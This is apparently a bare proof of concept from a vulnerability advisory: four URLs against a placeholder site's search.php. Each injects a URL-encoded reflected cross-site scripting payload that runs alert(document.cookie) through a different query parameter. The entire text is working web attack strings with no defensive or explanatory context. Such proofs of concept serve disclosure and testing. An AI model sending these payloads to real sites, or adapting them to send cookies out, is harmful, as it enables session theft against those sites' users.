http://www.example.com/search.php?in=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/search.php?ex=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/search.php?ep=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/search.php?be=%27%3Cscript%3Ealert(document.cookie)%3C/script%3E